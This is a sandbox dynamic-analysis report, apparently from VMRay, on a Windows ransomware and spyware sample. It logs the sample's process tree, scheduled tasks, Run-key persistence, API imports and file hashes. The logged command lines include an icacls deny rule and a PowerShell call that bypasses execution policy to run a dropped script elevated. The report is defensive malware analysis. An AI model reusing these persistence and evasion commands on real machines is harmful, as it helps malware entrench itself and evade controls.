91f77399...e631 | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Ransomware, Spyware, Downloader, Dropper, Trojan

bxavdk.exe

Windows Exe (x86-32)

Created at 2019-07-30T00:49:00

...

Remarks (2/3)

(0x200000e): The overall sleep time of all monitored processes was truncated from "40 seconds" to "10 seconds" to reveal dormant functionality.

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

(0x200003a): 2 tasks were rescheduled ahead of time to reveal dormant functionality.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x9d8 Analysis Target High (Elevated) bxavdk.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe" -
#3 0xac8 Child Process High (Elevated) icacls.exe icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0" /deny *S-1-1-0:(OI)(CI)(DE,DC) #1
#4 0x50c Created Scheduled Job High (Elevated) taskeng.exe taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1] #1
#5 0xad8 Child Process High (Elevated) bxavdk.exe "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe" --Admin IsNotAutoStart IsNotTask #1
#6 0xb14 Child Process High (Elevated) updatewin1.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe" #5
#7 0xb20 Child Process High (Elevated) updatewin2.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe" #5
#8 0xb30 Child Process High (Elevated) updatewin.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe" #5
#9 0xb40 Child Process High (Elevated) updatewin1.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe" --Admin #6
#10 0xb48 Child Process High (Elevated) 5.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe" #5
#11 0xb50 Child Process High (Elevated) powershell.exe powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned #9
#12 0xbd0 Created Scheduled Job Medium taskeng.exe taskeng.exe {BAE407F2-B61C-4068-A2A9-66A3D1D24DDD} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1] #5
#13 0xbf0 Child Process Medium bxavdk.exe "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe" --Task #12
#15 0x888 Child Process High (Elevated) powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1""' -Verb RunAs}" #9

Behavior Information - Grouped by Category

Process #1: bxavdk.exe
654 2
»
Information Value
ID #1
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:25, Reason: Analysis Target
Unmonitor End Time: 00:00:51, Reason: Self Terminated
Monitor Duration 00:00:25
OS Process Information
»
Information Value
PID 0x9d8
Parent PID 0x45c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9DC
0x 9E4
0x 9E8
0x 9EC
0x 9F0
0x 9F4
0x 9F8
0x A04
0x A08
0x A0C
0x AC4
0x AD4
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
bxavdk.exe 0x00400000 0x0048EFFF Relevant Image - 32-bit - False False
...
buffer 0x00637080 0x0067BB5F Marked Executable - 32-bit - False False
...
buffer 0x00637080 0x0067BB5F Content Changed - 32-bit 0x00639085, 0x006388DF False False
...
buffer 0x00270000 0x002CFFFF First Execution - 32-bit 0x00270920, 0x002704F6, ... False False
...
bxavdk.exe 0x00400000 0x0048EFFF Process Termination - 32-bit - True False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe 559.50 KB MD5: 7483afe53920181f720c1ee19e824126
SHA1: da2383fdee2ebc4a7a02b7fa5cce0e3d0eff6d9a
SHA256: 91f773991e29b1b3b8924651d0f90124a9fab914999204abcb52aaacf544e631
SSDeep: 12288:DDEFjByUqLsV3+gVUqchrcB4+rH4BVfUs:DD+QUqLQVUbhrw4NVfU 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\geo[1].json 465 bytes MD5: d6727470681ecc2ca56bbd0486b4fa97
SHA1: 693756ab251ef2d82a91d94a2e5b78a9604d8bac
SHA256: 8b37ae3083eb3bb497d0de9aa0f48e4fa2b893726e2a9787e6dad0ecd40d9613
SSDeep: 12:YCJcjmdVQVCRbwXhCdEVQVPB8yPt0fRbIRAJdxFQVyrhmXoB2SH4:YODQVCRbwxCCQVvV0fRbI2JdxFQVyNm5 		False
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 95, domain = 95, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-30T10:50:19 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (9)
»
Operation Filename Additional Information Success Count Logfile
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0 - True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe True 1
Fn
Delete C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe - False 1
Fn
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = 0, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe" --AutoStart, size = 210, type = REG_EXPAND_SZ True 1
Fn
Process (50)
»
Operation Process Additional Information Success Count Logfile
Create icacls os_pid = 0xac8, creation_flags = CREATE_DETACHED_PROCESS, CREATE_IDLE_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe show_window = SW_SHOW True 1
Fn
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files (x86)\google\sun_surgery.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\fursitemap.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\bra_assessed.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\beautiful-principal-translated.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\hobbies.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\java\carrier hobbies helps.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\microsoft analysis services\phantom roads.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\printers_twiki_tracked.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\resolution.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\maximize.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows portable devices\freezesyndicaterapidly.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\google\extremely-falls.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\sims.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\approaches-regular-pit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\effective-personals-dinner.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\tag.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\common files\citation.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows portable devices\traveling_beam_filing.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\observed entire apparent.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\incidents blind lingerie.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (298)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 4
Fn
Load RPCRT4.dll base_address = 0x75ee0000 True 1
Fn
Load MPR.dll base_address = 0x74b50000 True 1
Fn
Load WININET.dll base_address = 0x753d0000 True 1
Fn
Load WINMM.dll base_address = 0x74b10000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load ole32.dll base_address = 0x755e0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75220000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74af0000 True 1
Fn
Load WS2_32.dll base_address = 0x75bc0000 True 1
Fn
Load DNSAPI.dll base_address = 0x74a90000 True 1
Fn
Load CRYPT32.dll base_address = 0x759b0000 True 1
Fn
Load msvcr100.dll base_address = 0x749d0000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Load Shell32.dll base_address = 0x75fd0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bxavdk.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32First, address_out = 0x76cb5cd9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 2
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeW, address_out = 0x75f01635 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringW, address_out = 0x75f21ee5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringA, address_out = 0x75f5d918 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeA, address_out = 0x75f23fc5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidCreate, address_out = 0x75eff48b True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74b52dd6 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumW, address_out = 0x74b52f06 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceW, address_out = 0x74b53058 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7544be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x754130f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x753f5c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x753f9197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74b126e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7535a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7535bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x753545bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7534d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76c35371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76c31986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76c35063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x76c3492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76c34620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x76c5d556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76c35929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x76c359e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x76c3183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x76c5828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76cb4691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x76c4cf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x76c4174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x76c5d526 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76c33c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x76c4ce46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76c33da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76cb425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x76c534d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x76c4f481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76c33bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
